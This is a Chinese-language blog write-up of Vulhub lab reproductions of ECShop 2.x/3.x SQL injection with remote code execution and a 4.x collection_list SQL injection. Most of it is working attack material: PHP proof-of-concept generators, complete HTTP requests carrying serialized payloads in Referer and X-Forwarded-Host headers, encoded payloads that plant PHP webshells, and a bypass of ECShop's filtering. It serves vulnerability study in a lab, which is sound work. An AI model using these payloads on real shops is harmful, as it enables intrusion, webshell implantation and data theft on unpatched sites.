Vulhub 漏洞学习之:ECShop

Vulhub 漏洞学习之:ECShop

1 ECShop 2.x/3.x SQL注入/远程命令执行漏洞

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

其2017年及以前的版本中,ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行。攻击者无需登录站点等操作,通过该漏洞可注入恶意数据,可以直接远程写入webshell,最终导致任意代码执行漏洞,危害严重。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

参考链接:

1.1 环境安装

浏览器打开 http://your-ip:8080 进入安装向导页面。 数据库地址为 mysql, 用户名和密码均为 root 。其他任意。3.x版本端口为8081。

img

1.2 漏洞产生原因

  1. referer值未加判断直接引用,可被攻击者控制输入

  2. 利用_echash为定值进行切分,构造payload

    // ecshop2.7
    ./includes/cls_template.php:28:    var $_echash        = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    // ecshop3.X
    ./includes/cls_template.php:28:    var $_echash        = '45ea207d7a2b68c49582d2d22adf953a';
    
  3. 利用反序列化漏洞,构造payload,传输恶意代码

  4. insert_ads函数的SQL拼接不规范导致存在SQL注入

  5. make_val函数拼接字符串输入,_eval中调用用户输入通过eval最终导致任意命令执行

  6. 在ECShop3.x版本中,添加了一个 includes/safety.php 文件,专门用于消除有害数据,它的正则会匹配到 setconcatinformation_schemaselect from 等语句。暂时没有找到可绕过的SQL语句,但是命令执行还是可以绕过的。因为我们之前的payload经过编码,这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句,我们可以同时利用 $arr['id']$arr['num'] 两个参数,将 unionselect 分开传递即可绕过正则检测。

1.3 漏洞利用过程

  1. 漏洞POC脚本:

    // POC中存在需要对$进行转义:\$
    
    <?php
    $shell = bin2hex("[POC]");
    $id = "-1' UNION/*";
    $arr = [
        "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
        "id" => $id
    ];
    
    $s = serialize($arr);
    
    $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    echo "POC for ECShop 2.x: \n";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "\n\nPOC for ECShop 3.x: \n";
    echo "{$hash3}ads|{$s}{$hash3}";
    ?>
    
  2. 生成POC

    // POC= "{\$asd'];phpinfo\t();//}xxx"
    // 需要对$进行转义
    # php poc.php 
    POC for ECShop 2.x: 
    554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
    
    POC for ECShop 3.x: 
    45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a 
    
  3. 将生成的POC,放在Referer里发送:

    GET /user.php?act=login HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
    Referer: [生成的POC]
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    
    
    
  4. 2.X

    image-20220420132548570

  5. 3.X

    image-20220420132841700

1.4 命令执行

  1. 命令执行Payload

    // 核心Payload
    file_put_contents('1ndex.php','<?php eval($_REQUEST[acmd]);?>');
    
    // 进行反序列化
    {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzFuZGV4LnBocCcsJzw/cGhwIGV2YWwoJF9SRVFVRVNUW2FjbWRdKTs/PicpOw=='));//}xxx
    
    // 对Payload进行编码
    0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a46755a4756344c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e555732466a625752644b54732f506963704f773d3d2729293b2f2f7d787878
    
  2. 上传命令执行文件:

    GET /user.php HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:313:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a46755a4756344c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e555732466a625752644b54732f506963704f773d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
    Connection: close
    
    
    
    • 验证命令执行Payload:http://192.168.210.13:8080/1ndex.php?acmd=phpinfo();
    • http://192.168.210.13:8080/1ndex.php?acmd=system('ls');

    image-20220422121349160

1.5 WebShell

  1. WebShell Payload

    // 核心Payload
    file_put_contents('lndex.php','<?php eval($_POST[acmd]); ?>')
    
    // 进行反序列化
    {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2xuZGV4LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2FjbWRdKTsgPz4nKQ=='));//}xxx
    
    // 对Payload进行编码
    7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a3278755a4756344c6e426f634363734a7a772f63476877494756325957776f4a46395154314e555732466a625752644b547367507a346e4b513d3d2729293b2f2f7d787878
    
  2. 上传命令执行文件:

    GET /user.php HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:305:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a3278755a4756344c6e426f634363734a7a772f63476877494756325957776f4a46395154314e555732466a625752644b547367507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
    Connection: close
    
    
    
  3. 使用功具连接WEBShell

    :此处使用默认、Base64与rot13的编码器会连接失败。怀疑应该是ECShop过滤了相关字符,还不清楚原因。

    image-20220427132759937

2 ECShop 4.x collection_list SQL 注入

利用前提是有登录的账号

ECShop 4.x存在利用任意insert_函数进行SQL注入漏洞。

我们可以控制echash的位置来控制最终进入到insert_mod函数的中的name变量,那么这里对name变量中的"|"进行切割,对para内容进行反序列化,最终由insert_xxx函数调用$para变量,那么这里由于ECShop的代码特殊性,并没有像TP框架那样在代码初始化引入全局变量,因此这里如果想要有效利用,或者进行反序列化利用,就必须得看当前代码环境所包含的文件名,最好的情况就是包含的文件中存在insert_xxx函数,或者存在一些可利用的类能够进行反序列化。

  • 用户传参被转义,gbk的话可以宽字节绕过,或者考虑二次注入,或者找数字型注入,无需闭合。
  • 在HTTP头内的参数不会被转义。(优先考虑)

1.1 环境安装

浏览器打开 http://your-ip:8080 进入安装向导页面。 数据库地址为 mysql, 用户名和密码均为 root

1.2 漏洞利用过程

  1. POC脚本:此处利用的是insert_pay_log函数

    <?php
    $a = "1' and updatexml(1,user(),1) and '";
    $s = serialize($a);
    $_echash = '45ea207d7a2b68c49582d2d22adf953a';
    echo $_echash.'pay_log|'.$s.'|'.$_echash;
    ?>
    
  2. $_echash参数:

    root@8ab484416518:/var/www/html# grep -nr "_echash" includes/cls_template.php 
    28:    var $_echash        = '45ea207d7a2b68c49582d2d22adf953a';
    
  3. Ecshop中有许多可被利用的 insert_ 函数,如 insert_user_account

    45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
    
  4. 完整Payload:要登录后的cooike

    GET /user.php?act=collection_list HTTP/1.1
    Host: your-ip:8080
    X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
    Cookie: [your-cookie]
    Connection: close
    
    
    

image-20220427142749285

posted @ 2022-04-28 13:38  f_carey  阅读(1090)  评论(0编辑  收藏  举报